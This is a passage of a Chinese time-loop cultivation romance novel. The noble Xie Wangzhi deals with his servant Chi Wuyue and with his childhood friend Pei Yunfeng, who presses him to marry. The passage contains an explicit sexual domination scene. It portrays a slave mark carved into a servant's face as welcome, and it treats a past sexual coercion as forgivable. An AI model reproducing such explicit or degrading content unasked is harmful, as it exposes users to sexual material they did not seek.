不过,现在仔细想来,池无月的拒绝大概是个误会。其实他之前也这么以为,并且问过,只是池无月没答。后面若有机会再问一次吧。 至此,谢妄之终于理清池无月对他的态度为何与从前的轮回不同,为何与那话本中的表述不同。 ——他们根本不是同一个人。 但他的记忆为何这般混乱,还缺失许多,这就不得而知了。 “你什么意思?”巫玥见他眼神嘲弄,面色骤冷,几乎咬牙切齿,“所以你是当真喜欢他,不止是玩玩而已吗?我还以为你这种人永远——” “啧。” 谢妄之不悦打断对方,又抱起双臂逼近几步,唇角勾起恶劣玩味的笑,“若是我没猜错,你应该很讨厌我?那你在生气什么?是在嫉妒他,还是单纯恨我把你当狗玩?” “我嫉妒他?!”巫玥睁大眼,恼羞成怒,“别开这种无聊的玩笑!” “呵。”谢妄之哼笑了声,微微压低嗓音,“那你没看见他脸上的奴印吗?是我刻的。” “你!——” 巫玥神色一怔,心情复杂。在脸上刻奴印,这是何等奇耻大辱,就算是从前的他也没有受到这么过分的对待。 却听谢妄之下一句便道:“他很喜欢。” “怎、怎么可能!”巫玥瞠目结舌。 “是,对你来说不可能。”谢妄之点头,手指轻抚下颌,“我若是一巴掌将你扇到地上,你只会觉得屈辱,想着日后如何报复回来,将我踩在脚下。” “……”巫玥紧抿嘴唇,算是默认。 “而池无月,”谢妄之声音微顿,眉宇间荡开浅淡的笑意,“他大概会爬起来抱我的腿,求我再给他一下。” “这……”巫玥一瞬面色涨红,咬牙切齿骂道:“不知羞耻!” 谢妄之轻耸了下肩膀,不以为意。 果然,与巫玥相比,他更喜欢无论他怎么对待,永远不会反抗他、只忠于他的人。 虽然不想承认,但池无月的卑微讨好与执着求爱确实令他十分受用,乃至愉悦。 “……罢了。都过去了,我不想再与你说这些。”巫玥重新戴上面具,同时收敛所有情绪。 “嗯。”谢妄之点头。他也不想再纠结过去,没意义。 他曾经确实耍弄过巫玥,对方与他一般心高气傲,因此对他怀恨在心,以致后来冷眼旁观他的落魄惨状也情有可原。 若是这回巫玥当真能帮他,待此间事了,他们便算互不相欠。 思及此处,他紧接着问:“方才你说,池无月是你的‘继任者’,这是什么意思?还有,初晴姑娘说你能帮我,你能怎么帮我?” “……本质上,这是同一个问题。” 见谢妄之还是一副高高在上、理所当然使唤自己的模样,当真是一点没变,巫玥有些无奈,暗自叹了口气。 他微微侧身,露出身后的一副石制桌椅,摊手示意,“此事说来话长,我们坐下说吧。” “好。”谢妄之依言坐下。 “你知道的,巫家人擅与天地沟通。你敢相信么,我从天道里读出了什么?我们——” “我们都生活在一部话本里?”谢妄之挑眉,微笑打断。 “……” 巫玥神色微怔,随后轻轻点头,“看来我猜得不错,你并非一无所知。那么之后,一切都好办了。” * 实际身份尊贵的少年,因过早展露超绝天赋,为族人忌惮。母亲出于保护的心理,故意将其遗弃在外,对族人谎称病逝。 但家族并未尽信,暗中派人追杀。少年不得不隐姓埋名,四处漂泊。 未想当今世道不平,坏人不止一种。 他从前被保护得太好,又为族人忌惮,没学到什么真本事,实在愚蠢天真,根本应付不来。 绝望之际,他忽然想起年幼时第一次沟通天地读到的词句。 ——“你是天命之子。” 果不其然,有人救了他。他的确是受上天眷顾的,不会这般轻易丧命。 但原来天命之子还要给人做奴隶的吗? 他自小养尊处优,根本接受不了,只好哄着自己,就当是历练了。 但他的主人阴晴不定,最喜捉弄人,分明前一刻他才把自己哄好,下一刻就被整得破功。 他实在与主人合不来,也不是有话直说的性子,便凡事都憋在心里。 主人好像看出他的不满,但还是我行我素,甚至变本加厉。 他看出来,主人也是不喜欢他的。于是他开始计划着什么时候逃走。 但是不等计划实施,主人突生变故。尽管有些歉疚,他还是趁势毫不犹豫地、头也不回地跑了,此后也只从旁人嘴里听过主人的名字,再未见过。 他果然是天命之子,离开主人以后一路青云直上。 他广结道友,不过出手维护几次正义后便名声大噪,地位也是水涨船高,更是在组织击退入侵修仙界的妖邪大军之后,坐拥仙盟盟主之位。 直到飞升之日,他再一次沟通天地,却读取到足以令他崩溃的信息。 原来他的人生,不过出自天外世界的某人笔下。他的奇遇与挫折,他的所有喜怒哀乐,全被人为操纵。他与这个世界,均是虚无。 曾经无数次在绝望之际给予他力量、一直支撑他的那句“你是天命之子”,也成了笑话。 他道心破碎,世界跟着崩塌,却重回最初。本该是一个全新的开始,可一切照旧。但他失去了记忆,无知无觉,直到飞升失败再一次崩溃。 数不清崩溃多少次之后,某一次轮回,他忽然觉醒了所有的记忆。 去他的天命之子!他不当了。 于是他向天道传达了自己的抗拒,还对天外世界产生了好奇与向往。 某种程度而言,他的确是受上天眷顾的。 祂竟然回应了: “离开这里,你只是一个普通人,不再是世界的中心。你没有修为、钱财,没有父母与亲朋。如凡人一般,你会经历生老病死,可能会疲于生计无暇他顾,甚至会遭受不公与压迫,而你多数时候无法反抗……即使如此,你也愿意吗?” 他犹豫了。天外世界,似乎与他想象的不同。 但祂宽恕了他的无礼,并未介意他有二心,还容许他卸下自己的身份,只是坚信自己理念正确。 祂从他向往的天外世界“绑”了个人回来,继续当所谓的“天命之子”,并向那个人许诺,会同样赐予他曾经得到的一切,所以那个人才会同意。 他心生好奇,于是一直躲在暗处观察。 未想到,那个人与他不同,他完全无法理解。 难道这不是那个人想要的吗?为什么每次“剧情”还未结束便又开启下一场轮回? 不过其实对方与他也没什么不同,只是一直重蹈覆辙,如曾经的他一般,命运被操纵,无法摆脱,无法实现自己的追求。 他也被迫在这场轮回中沉浮颠簸。 无尽的重复令他烦躁,他忍不住思考这一切的意义。 如果这里真的那么好,为何那个人还不满足?他到底在追求什么? 经过这么多轮回、不再是“天命之子”以后,他曾经追求的强大修为、崇高的名望地位,如今已无足轻重。现在,他的追求又是什么? 当时的犹豫胆怯,渐渐变成坚定。 可惜他不再受上天眷顾,与祂对话不再那么轻易。 他要等一个机会。 * “主人,你去见了谁,与他做了什么,怎么那般久——” 谢妄之与巫玥谈完回去,已是几个时辰以后。却见客栈里不止有司尘一人。果然,除了裴云峰有事在身,另几人都悄摸跟着。 当然,他也不是孤身回来的…… 司尘一见他便立刻迎上来,抱着他的腰撒娇。待到望见他身后还跟着别人,立时面色一沉,冷声质问:“你是谁!” “巫玥。” 屋里的几人虎视眈眈,不知道出于什么样的心理,巫玥答完,又忍不住伸手摘下面具。 一瞬间,几人望过来的眼神愈发冰冷刺骨。他故作平静淡然。 池无月不动声色地来回扫视谢妄之两人,掩在袖中的双手掐得死紧,却勉力扬起笑,问:“是公子的朋友么?” 谢妄之闻声看去,正对上一双微微发红的眼,话到嘴边又改了主意。 他勾唇玩味道:“不止是朋友。” 第62章 公子想对奴做什么都可以…… 谢妄之话音落下,箍在腰肢的双臂猛地收拢,一时间屋里的所有人都看向他,眼神复杂。 “……公子与他关系很好么?”池无月轻抿了下唇,又若无其事地微笑起来,“怎么从来没听公子提起过?” “挺好的。”谢妄之点头,唇边笑意愈深,说着轻推开抱紧他的司尘,“只是不方便说。” “……” 关系好,但不方便说。为什么不方便?哪里不方便?难道见不得人吗? 而巫玥还适时低下头,静默不语,耳廓微微发红,好像印证了几人的猜想。 “主人……”蝶妖委屈地叫了声,手指攥紧谢妄之的衣袖轻轻摇晃,暗地给巫玥飞了记眼刀。 池无月掌心掐得快烂,几乎挂不住脸上的笑。白青崖从头至尾一句话不说,面色比乌云蔽日还阴。 “话说回来,”谢妄之忍俊不禁,也不做解释,扫了眼池、白二人,又敛了笑,故作冷峻,“你们怎么会在这里?我没让你们跟着。” “……”白青崖扭头看向别处,唇角微微向下撇,若是有毛茸耳朵,怕是也要耷拉下来。 池无月镇定自若,从袖中掏出一封信,双手递交过来:“家主给公子寄了封加急信,催公子归家,应有要事相商,奴不敢怠慢。” “嗯,我知道了。”谢妄之拆了信,大致浏览完便收回放好,“若没有其他事,本公子要歇了。” 信上说,裴、谢两家将于下月联合开展游学,由他担任助教一职,需提前回去准备。 在那些数不清的轮回中,他就是在这次游学途中渡劫失败,继而入魔,丧失理智滥杀无辜,最后被剜除剑骨,沦为废人。 还以为这次轮回,时间线都乱了,这事儿也不会有了。没想到,该来的总会来的。不过,这次至少有他身边的“几位”搭把手,结局应该有所不同,他也不必太焦虑。 谢妄之微微闭目深吸口气,见几人依言要退出去,忽然伸手把池无月拦住,似笑非笑:“你留下。” “是。”池无月站住,低下头,唇角微勾。 其余人闻声瞥来一眼,面色更沉。谢妄之回来时天色已晚,这时把人留下是要做什么?但他们向来无法干涉谢妄之的决定,再是不满也只能捺下。 屋内重新安静下来,谢妄之坐上软榻,姿态慵懒。双腿交叠,一手放在桌案撑着脑袋,另手朝池无月轻勾了勾指尖,唤小狗似的:“过来。” “是!” 小狗立刻依言走近,还相当自觉地跪下身去,乖顺垂着头。 “本公子允你抬头看我。” 谢妄之愉悦勾唇,小腿微抬,用脚尖勾起池无月的下颌。 对方登时呼吸微乱,白皙脸颊迅速浮起霞色,喉头轻滚几下,嗓音微哑:“……多谢公子。” “呵。”谢妄之哼笑了声,脚尖下移,顺势踩在对方胸口,状似随意地问:“你先前认识巫玥吗?” “……”对方微微抿唇,又低下头,脚掌下的身躯变得僵硬。 “你先前认识他么?”谢妄之拧眉,俯下身,两指捏起对方的下颌,迫人抬头与自己对视,“嗯?” “……”谢妄之的目光压迫感太重,池无月忍不住撇开视线,“不认识。” “呵,几日不见,就敢对本公子说谎了?”谢妄之眉峰微挑,似笑非笑,随意甩开手,脊背后靠,“不说,那就换池越出来。” “公子!公子息怒!奴知错了……”池无月登时面色微白,下意识捉住他的衣摆轻轻摇晃,“是、是他对公子说了什么吗?公子为什么突然问起这个?” “你觉得呢?” 谢妄之恢复原先的坐姿,唇角微勾,眸中却无笑意,叫人不寒而栗,“给你一炷香的时间,自己跟我坦白。你,是什么人,来自什么地方。” “奴……”池无月神色一怔,随即轻轻摇头,又怕他误解,急忙解释,“不是奴不愿说,是奴实在不记得了。” “不记得?”谢妄之眉头蹙得更深,“那你怎会认识巫玥?” “因为,奴方才一见他,便朦胧想起来……”池无月微顿,嗓音愈发低哑,“当初,公子要救的人,好像不是奴,是他。是奴,鸠占鹊巢……” 说到此处,池无月又凑近些,双手攥紧他的衣摆,眸光颤动,眼尾晕红,像是快哭了:“公子将他带回来,是、是要将奴赶走了吗?” “……” 谢妄之沉默片刻,感觉到对方身体不住发抖,倏然勾唇一笑,不置可否:“你很害怕?不想离开我么?” “不想!”池无月立刻摇头,毫不犹豫。 “哦?是么。” 谢妄之笑意更深,手背轻轻抚摸池无月颊侧至脖颈的一树梅花,又用指尖勾勒描摹,嗓音低柔: “即便本公子给你刻了奴印,总是对你颐指气使,随意耍弄……也不想吗?” 池无月微微睁大眼,呼吸变得紊乱急促,身体僵硬热烫,又克制地吞咽几下,轻声道: “……只要能留在公子身边,公子想对奴做什么都可以,即便是让奴当公子的一条狗,只要公子欢喜便好。” 他沉浸在谢妄之的手掌与指尖带来的酥痒触感中,浑身飘然,等闻见头顶传来一声低笑,才反应过来自己说了什么。 脸颊与耳廓一瞬烫得像是能飘出一缕白烟,他不由轻抿起唇,又忍不住抬眸羞怯地偷觑了谢妄之一眼。 恰与人对上目光时,他又慌忙低头,却正见自己的衣摆隆起,还有一小片的洇湿痕迹。 紧接着,头顶又传来一声低笑,戏谑道:“怎么就起势了?本公子好像什么都没做吧?” “我!——” 池无月猛然睁大眼,一瞬羞愤欲死。却因感知到对方也倾注了视线,身体本能愈加热烫兴奋,轮廓愈加明显。 喉咙愈发焦渴,他忍不住吞咽,理智与欲望激烈厮杀中,他又抬头看向谢妄之。 月华倾洒,年轻的贵公子倚着软榻分膝而坐,手臂支在桌上,撑着侧脸。 衣领随不端的坐姿撑开些许,足窥见一线饱满的蜜色肌理。墨色的绸带将腰身利落收束,更显肩膀宽阔。修长双腿自然分开,即使放松也能看到紧致的线条。 逆着光,更显面部轮廓深邃如刻,浓眉压眼,英气而锋锐。是一副极俊又极有压迫感的长相,偏生还勾起一痕嘴角,更迷得人目眩神摇。 只是一眼,理智轰然倾塌。 池无月轻咽了口唾沫,忍不住伸手捉着谢妄之的衣摆摇晃,哑着声哀求:“公子,帮、帮帮我,可以吗?” “帮你?可以啊。但是你得先回答我,”谢妄之挑眉,顺势问起耿耿于怀的那件事,“那一日,你为何拒绝我,为何逃走?” 哪一日?拒绝?逃走?他怎么可能呢? 池无月只觉疑惑,随即想起在灵芜秘境中,中了司尘幻术后看到的场景。 那时他不自觉将自己代入,事后许久才反应过来,其实那些全不是他的记忆。现在才知道,是巫玥的。 紧接着他又很快反应过来,拒绝的人是巫玥,谢妄之在问巫玥。 公子实际想救的人是巫玥,喜欢的也是巫玥,否则为何对巫玥是真心宠爱,对他就是虚情假意,表面宠他,实则只是羞辱?便连这种事也…… 思及此处,池无月眼神微暗。 脑中忽然响起一声嗤笑,明明嗓音与他一致,语气却满是嘲讽:“呵,真是愚蠢,我都不知道该说你什么好。难道记忆被篡改以后,智商会跟着下降?” 是池越。 但池无月有些听不懂,此时不想分神去想,更不想搭理池越,只当没听见。 心思千回百转,实际只有一瞬。 他揣测“巫玥”的行为动机,又私心加入自己的想法,回答道:“那时候是奴太害羞了,而且此前也没有经验,害怕不能服侍好公子……对不起,奴知错了……” 其实他还有些忐忑,但所幸谢妄之并未察觉什么异常,闻言低笑了声,又伸指挑起他的下颌,戏谑问:“那现在怎么不害羞了?” “……”池无月神色一怔,随即着急忙慌地撇开视线,脖颈都通红。 缓了片刻才轻声回道:“也、也是害羞的,但、但是……更想要公子……” “……”这会轮到谢妄之沉默。 他像是触电般猛地缩回手,捂住了自己半张脸。剩下半张没捂,便透出明显的红。 但他很快又放下手,龙颜大悦地开仓放粮:“想让本公子怎么帮你?” 话音落下,池无月立时抬头看他,眼神炽热粘稠,从上到下来回扫视个好几遍,喉头不住轻滚,嘴唇翕张,似是犹豫不决。 最后嗫嚅着低声问:“公、公子能像,方才那样……踩我吗?” 第63章 你从头至尾,只是玩玩?…… “嗯?” 谢妄之意外挑眉。 但这没什么不可以。 他又踩上对方肩膀,微微施力,推得对方上身后仰,整个跌坐。 而后脚掌下移,缓慢趟过胸口,毫不留情地下压。 “唔,公子……” 池无月登时脊背弓起,呼吸急促炽热,像能喷出火,声音低哑得不像话。 “呵。喜欢么?” 谢妄之嗤笑,仔细观察着对方的反应,鞋履来回碾动,轻重缓急皆肆意。 “嗯……哈啊,喜欢、好喜欢……” 池无月大口喘息着,浑身不住发抖,双手分置身体两侧,紧攥成拳。 鬓发湿润,艳丽的霞色从颊边漫至耳廓,喉头不住滚动,额角与脖颈清晰浮出黛青色的经络,狰狞又色气。 反观谢妄之却是从容不迫、居高临下,仍是侧倚在软榻上,姿态矜贵慵懒。还坏心眼地偏不给人痛快,临到关头忽然撤开。 “哈啊……公、公子?” 池无月茫然抬头,双眸湿润。瞥见谢妄之唇边恶劣的笑,很快意识到他是故意的,顿时委屈,伸手攥住他裤腿。 “怎么?”谢妄之明知故问,佯装无辜,还故意晃了两下腿想把人甩开。 “公子!”池无月猛地将他攥紧,不依不饶,神色更加委屈,轻扁了下嘴,“公子明明答应了……” “好。” 谢妄之忍俊不禁,又踩上去。 却把人当狗一样来回遛了三次。 “公子!”池无月又气又委屈,终于捺不住,猛地伸手紧抱住谢妄之的腿。 谢妄之只觉好笑,终于不再逗弄池无月,任由对方抱着自己弄了片刻,忽然道:“这么弄有什么意思?” “那,那按公子的意思……?”池无月动作微停。 谢妄之玩味勾唇:“脱了。” “脱、脱?!” 池无月猛地睁大眼,羞得深埋下头。 最后还是听话,颤着手解下自己的腰带、下裤。没胆子去脱谢妄之的鞋袜,便只凑上去,轻咬着唇嗫嚅道: “公、公子,请、请踩我……呃——” 话音落下,粗砺坚硬的触感电流般一闪而过,急剧的刺与痒化作火星,一瞬将他点燃,脑中随之一片空白。 再回过神时,只见面前停着一只骨节分明的手掌,五指修长,指甲修剪得圆润整齐,虎口与指节内侧覆着一层薄茧。 一缕粘稠水丝正从手背顺着指尖滴落。 他不由一怔,视线追着那缕坠落的水丝低头,只见谢妄之墨色的衣裤溅上几道水线,对比明显,满目狼藉。而他自己的情状更不必看了。 “公子!抱、抱歉!我——” 池无月猛地睁大眼,又低下头,羞得想把自己埋进地里去。 话未说完便被谢妄之打断道:“舔干净。” 池无月一怔,下意识抬头。 夜色下,谢妄之神色镇定从容,仍维持着原先的姿势,穿戴齐整,金贵端正如天上月。 却向他递出一只沾了污浊的手,眉眼含笑,恶劣却勾人。 仿佛这轮月亮不在天上,在水里,诱他沉沦。 才退却的火很快又烧起来,池无月轻咽了口唾沫,嗓音低哑地应了声“是”,随即又膝行凑近两步。 他虔诚地捧起谢妄之的手,伸舌仔细舔舐,又俯身趴到对方脚边,从下至上,用舌头把衣物清理干净。 末了用牙齿叼住,扯开对方的腰带,伏下头。 他不住贪婪吞咽,直到谢妄之攥着他的头发扯开仍不满足。 像是水里蔓生的、湿润粘稠的水草,缠上去、攀援而上。 直到他的双膝压上软榻,五指紧攥着谢妄之的肩膀,把人按在软榻上吮吻。 谢妄之有些后悔了,但直到脱力都挣不出水草,只能溺毙。 阴云蔽月,一夜难眠。 * 回程时速度快了很多,就是人也多了好几个。 到谢家的时候,谢妄之本以为是与兄长商谈游学相关事宜,没想到谢霁只简单说了两句便离开,换了裴云峰过来。 对方初时还是一副公事公办的模样,等谈得差不多了,谢妄之故意不再给人添茶,很明显的逐客令,终于捺不住变了脸色。 “谢二公子,你我事未谈完,这么急着赶客,难不成是还要见什么人?” 裴云峰冷笑了声,接过茶壶自己倒,两指拈着瓷杯轻转。 虽然被对方强迫这事已经过去许久,但谢妄之还未完全消气,只冷淡应了声“嗯”。 “……” 裴云峰动作微顿,随即猛地放下茶杯,发出一声沉闷的“咚”。 他面色阴沉,双目紧盯着谢妄之,咬牙切齿质问道:“谢妄之,我们不过短短几月不见,你竟然又添新欢了?那个人是谁?” 谢妄之抱起双臂,懒得解释,只是勾唇嘲讽:“本公子好像也不姓裴吧。裴家主管这么宽?” “我……” 裴云峰神色一怔,一时说不出什么话反驳,不等他想,谢妄之便不耐道:“没事就滚。” “谢妄之!” 闻言,裴云峰胸口一刺,忍不住霍然起身。 临发作时却止住,深深吸了几口气平复,又坐回去,声音低哑道: “谢妄之,先前是我不对,抱歉,我不该不顾你的意愿强迫你,你想怎么打我骂我都随你,但是……能不能,不要这样对我,求你……” “……” 谢妄之抿唇,又给自己倒了杯茶,但也不喝,只盯着茶水看。 对方见他不肯搭理自己,一时也沉默下来。 空气沉寂宛如冻结一般,谢妄之莫名感觉煎熬,鬼使神差般忽然抬眸瞅了眼对面。 却见如今已身居高位、早能独立执掌大局的裴家主,还如少年一般脆弱易折,竟望着他默默垂泪,双目发红,浓密眼睫都黏连几簇。 见他望过去,裴云峰猛地撇开头,似是不愿令他看到自己这副模样,还伸手想“毁尸灭迹”,却怎么也止不住。 最后破罐破摔了,又转回来看他,泪眼朦胧,哽咽着问:“谢、谢妄之,难道,在你的心里,已经……没有我的位置了吗?” “……”谢妄之指尖微蜷,还是抿唇不答。 “谢妄之,对不起,我已经知道错了,我再也不会做那种事,我什么都听你的,好不好?我要怎么做,你才肯原谅我?” 见他还是不说话,裴云峰一瞬哭得更凶,甚至呜咽出声。 谢妄之捏紧茶杯,听了半晌,到底是心软了,忍不住道:“不是你想的那样,别哭了。” “那、那是怎么?”裴云峰双目一亮,赶忙追问。 谢妄之将先前收到许初晴信件的事简单说了一下,“那个人是巫家的,叫巫玥。他知道我的事,算是我请来的一个帮手吧,我们之间没什么,你别见着个人就胡思乱想。” 听他语气无奈,裴云峰面色微红,轻轻“哼”了一声,又忍不住小声辩驳道:“谁让你从前就是这样,整日招猫逗狗的,防不胜防……” “嗯?”谢妄之眉峰微挑,似笑非笑,“你说什么?” “没有!” 裴云峰飞快摇头,又将他仔细打量几遍,担忧地问:“那你这一路还顺利吗?心障发作过吗?他真能帮你吗?不论如何,裴家这边会尽全力帮你,你若有什么需要,尽管和我说。” “放心,我没事。不过……”谢妄之忍俊不禁,“你这样算不算滥用权力?才当上家主没几月,胳膊肘就往外拐了?” “我现在已是家主,我若决定做什么,没人能拦得住我。”裴云峰微微抬起下颌,语气自信而坚定。 接着,他莫名沉默了会儿,面色更红,语气也变轻,一双眼紧盯着谢妄之:“……而且,你若是答应与我结契,就不算是往外拐。” “……” 谢妄之敛了笑,下意识低头避开视线,装作很忙地要伸手倒茶。 却发现自己茶杯里的水是满的,于是狼狈地放下茶壶,先饮了一口才倒。 他这副姿态抗拒得太过明显,裴云峰又沉下脸,低声问:“谢妄之,你不肯原谅我吗?你还在生气吗?” “……倒也没那么生气。”谢妄之只低头看着杯里的水。 “那你到底是在介意什么?”裴云峰微微拧眉,又很快舒展开来,同时伸手去碰谢妄之,“你若是不喜欢那样,或是不喜欢在下方,那我们换个方式也可以,我没关系,我都听你的,好不好?” “不然,下次再说吧。” 谢妄之下意识躲开对方的手,心中忽然焦虑更甚,如坐针毡,忍不住站起身就要走。 “不行!” 裴云峰立即起身,一把将他扣住,又拉回来,双手捏着谢妄之的肩膀,不依不饶,“你有什么不满意的,都与我说,我都改,好不好?” “不、不是,你不用改……”谢妄之把人推开些。 “那你为什么……?” 裴云峰不解蹙眉,双目紧盯着他。 却见谢妄之从头至尾不敢与自己对视,心中浮起一个猜测,不由冷笑了声。 “谢妄之,你是不是,从来没想过要对我负责,从来没想过要与我结契?你从头至尾,对我都只是玩玩而已?” 第64章 谢妄之,肆意玩弄人心很…… “当、当然不是!” 面对裴云峰的质问,谢妄之虽有些心虚,但还是下意识反驳。 “那是如何?”裴云峰眸光颤动一瞬,但还是紧拧着眉,显然不信。 “……”谢妄之沉默。 他确实没想过要结契要负责,只是享受这种亲密随意的氛围与情感上身居高位的支配感。但若是非要较真,他们这么多年交情,怎是“玩玩”二字可以形容。 不过,他估摸到底也就是这样了,没想太深太远,某种程度而言,跟“玩玩”也差不多,未想到裴云峰这么认真地想过以后。裴云峰是从什么时候开始想与他结契的? 思及此处,谢妄之猛然发现,他脑中有关裴云峰的记忆也是混乱的,并且有所缺失。 他发现,裴云峰并非每次轮回都与他这般……纠缠不清。 好像在很久以前的轮回中,他们的关系清白纯粹,日常相处也维持在朋友的界限内,只是后来渐行渐远。 并且,年幼时他们并未相互救赎过,只是恰好年岁相仿,玩在一块儿罢了。相应的,后来的什么帮忙破除心障、为了池无月争吵之类的事,全是子虚乌有。 若不是之前因为池越回想起来一些,还有最近发生的事,他完全不记得,更不会发现,毕竟他不会有事没事就怀疑自己记忆错乱。 与此同时,他还发现并非每次轮回都有“白青崖”这个人。但有关对方的记忆,倒没有什么矛盾。 为什么会这样?参照巫玥的情况,难道前后的裴云峰不是同一个人?那白青崖呢?他看起来完全就是凭空出现的。 大概是因为他沉默太久,裴云峰的眼神愈加锐利,谢妄之更加心虚,忍不住撇开视线,干巴巴道:“反正不是你想的那样。” “呵,是吗?”裴云峰冷笑,伸手强扳过他的脸,迫他与自己对视,“那你为什么不敢看我的眼睛?” “……”看就看。谢妄之依言直视对方。 裴云峰面色稍霁,双手轻捧住他的脸,道:“既然你没什么不满意的,那等这次游学结束,我们就结契。” “什、什么?这么快!”谢妄之惊愕睁大眼,又忍不住撇开头想挣脱,“这种事还是——” “一点也不快,我想很久了。”裴云峰蹙眉打断他,又勾起唇角,双手微微用力将他锢住,“而且我算过了,那日正好是良辰吉日,宜婚配,不然就要等明年了。” 谢妄之身边碍眼的人太多了。这次带回来的人是没有什么,那下次、下下次呢?他根本不敢想,也忍不了。那两个奴隶就是前车之鉴。 还有,他离开的这么长时间,他给谢妄之寄了好几封信,对方却从来没回,甚至他怀疑对方根本没看到信。 后来他还派人替他留意谢妄之的行踪,时刻向他禀报,但那些人没过多久便全部音讯全无。他不怀疑谢妄之,直觉是另外几人做了手脚。 总之他等不了。 未想到谢妄之伸手将他拂开,道:“我还没做好准备。” 裴云峰不满蹙眉,但一瞬后又恢复神色,“没关系,起码还有三个月的时间,够你准备。” “……”谢妄之默了一会儿,“那,你家的人能答应?我兄长能答应?” “我家的人,我自有办法应对。至于令兄……”裴云峰话音微顿,脸颊与耳廓都发红,“实不相瞒,我们很早之前便谈过了,我们的事他都知道的,说全凭你自己做主。” “什么时候谈的?!”谢妄之愕然。 “上次在你家游学的时候,就是你的奴隶将我两个弟弟吓够呛那次。” “……” 就说当时兄长看他的眼神怎么不对劲。 “如何?”裴云峰又追问,“若是没有异议,我们就这样说定了?” 谢妄之有些急了,忍不住攥紧手指,搜肠刮肚道:“你才当上家主没多久,不是很忙么?你到时候能抽出空?” “再是忙碌又如何?难道还有什么会比这件事更重要?”裴云峰不解蹙眉,又笑了一下,“我知道你不喜欢那些繁文缛节,放心,一切都由我来准备,你不用管。” 说罢,裴云峰又伸手牵住他,将他的掌心贴在自己侧脸轻蹭了蹭,“你有什么要求,都与我说,我都听你的,好吗?” “……” 见对方神色认真,谢妄之不忍欺骗,最后让人大失所望,又实在编不出理由了,急得快冒汗。 挣扎片刻,他终于狠心抽出手,破罐破摔道:“不好。我拒绝。” 裴云峰面色微僵,随即放下手,看上去竟是毫不意外,勾唇冷笑道:“呵,果然。为什么?” “……”谢妄之不吭声。 “那你对白青崖是怎么想的?对你的那两个奴隶呢?你想和他们结契?” “没有。” 他否认了,但裴云峰不听,不信,面色阴沉。 “当时白青崖比我做得过分吧?这次你们一起回来,看来你已经原谅他了,是吗?也对,毕竟你从前就偏爱他。 “还有那两个奴隶,呵,更不必说了。不论我怎么说你都不肯赶走,去哪儿都要带着,简直宠得没边。 “谢妄之,难道你我多年交情,在你眼里根本无足轻重,还比不上几个半途插进来的人吗?” 裴云峰一面说着,一面逼上前,双手穿过谢妄之的腰,按在他身后的桌案,俯下身,将他围困。 分明身量与他差不多,却如笼下一座大山的阴影,充满压迫与眼梧感。 对方紧盯着他,双目湿润发红,眼神却锋锐,声音像从牙缝里挤出: “谢妄之,肆意玩弄人心很爽吧?你把我当什么了,一条狗吗?难道你以为,我堂堂裴家家主,会忍受继续这样被你作践?” 说罢,裴云峰甩袖,大步离开,没有回头。 那两个奴隶至少还有谢妄之给的奴印,那他呢? * 此后,谢妄之再未见过裴云峰,若有事要商讨,也只派人传话、递信。 谢妄之心里不舒服,分不清是因为落差太大还是什么,虽自知理亏,但性子太傲,没低过头。 很快,游学开始了。 不同以往,这次游学场地在裴、谢两家交界处,参与人数尤其多,来自天南地北,鱼龙混杂。 有些人初生牛犊不怕虎,自恃出身高贵,竟比谢妄之当年还嚣张,不服管教,公然顶撞师长,课不上,作业不交,成天就是拉帮结派欺负同窗。 这只是小问题,只要谢妄之逮到,不管对方什么身份,全部依规处置。 还有不服的,或是单纯看他不顺眼故意挑衅的,谢妄之也不惯着,当即召剑在手,笑眯眯道:“打赢我,你想做什么就做什么。” 当然,不用他真正出手,无意识外散的一缕剑气已足够将他们收拾得服服帖帖。 没有人配他拔剑。 而真正令他头疼的事在后头。 不知从何处、何时,竟传出流言,说他仗着身份地位,肆意欺压学生,还为一己私欲豢养妖邪,将其收作奴宠,道德极其败坏。 谢妄之初时是不在意的。前者毫无事实根据,而后者对他而言没什么所谓,也从没遮掩什么。 虽然他自己并不介意,但他此时身为助教,代表的是两大世家的颜面与态度,绝不能放任不管。 但不等他着手调查解决,这样的声音过没两日便忽然消失了,游学还多了条规矩:禁止妄议助教。 他直觉是某位先手替他解决了,差人递了一句谢。未想对方不肯承认,还奉劝他“不要自作多情”。 谢妄之:…… 他有些无奈,但也没有放在心上,很快便将这事抛到脑后。 但紧接着又出现了新的流言:谢妄之在修魔。 修道者若生了心障,发作时,经脉中的灵力流有可能逆行,继而走火入魔。 他之前确实有几次非常危险,但最后都稳住了。而最近他的心障因为有人帮着“仔细调理”,加上他平时也注意尽量不使用灵力,目前控制良好。并且根本没几人知道他有心障。 也就是说,那位散播流言的人,要么习惯搬唇弄舌,结果误打误撞到真的了。要么,对方从某种他意想不到的途径,掌握了些不为人知的信息。 而且,裴云峰先前已经严肃处理过一批人,以儆效尤,还立了新规。若是单纯看谢妄之不顺眼而散布流言,实在没必要。 所以更大的可能是,对方别有目的,盯上了谢妄之,以及他身后的裴、谢两家。 不等他将此事调查清楚,很快又有了新的传言,但这次并非是针对他。 北荒妖魔横行,白家位处北荒,天生与妖邪水火不容,对方却曝出许多白家内部的丑闻。称白家多次放任妖邪残害百姓、草菅人命,家主还豢养妖邪,并予其诞下的半妖许多恩宠,而这半妖正是白青崖。 不仅如此,对方还知晓才被解决不久的瘟疫之源。正是因为许家的人种植妖草,将其当作药物给病人服用。而服用该妖草的病人体质被改变,能吸引一种特殊的妖,以致染病,还引发大规模的瘟疫,导致多少人不治身亡。许家人实在枉称医师。 …… 这一桩桩并非空穴来风,本来正邪冲突就激烈,世家垄断霸占资源也早就令众人不满,结果这几个世家还这般尸位素餐,甚至与妖魔为伍,更令群情激愤。 再加上不知是谁暗中煽风点火,没多久,舆论声势浩大得控制不住了,世家的正面形象也摇摇欲坠。 尽管流言并未全部得到证实,但不妨碍他们激愤,每日都有人上门抗议、讨要说法。虽未发生什么实际冲突,大概还是有几分忌惮,但游学被影响,几乎难以继续。 到此时,暗中那位的目的已显而易见了。 谢妄之几人一面尽力稳住局势,一面调查处理此事,却无论如何都找不到源头。 而且一波未平一波又起——附近城镇有妖邪入侵,他们需派人除妖。 “我去处理。”谢妄之正烦,闻讯立刻起身。 但还未走两步便被人拉住,“你现在身体什么情况,自己不知道吗?坐下。” “没事。”他执意要去,便甩了下手,却没挣脱出来,不由蹙眉瞥了眼身后的人,“放开。” 现在还未到剧情中后期,距离妖邪大规模入侵还有些时候,他估摸这次大概就是些零散的小妖,处理起来不费事,正好拿来出气。 但裴云峰不肯放松力道:“坐下,不用你去。” “但我想去。” “……” 裴云峰神色松软几分,最后道:“那我陪你去。” 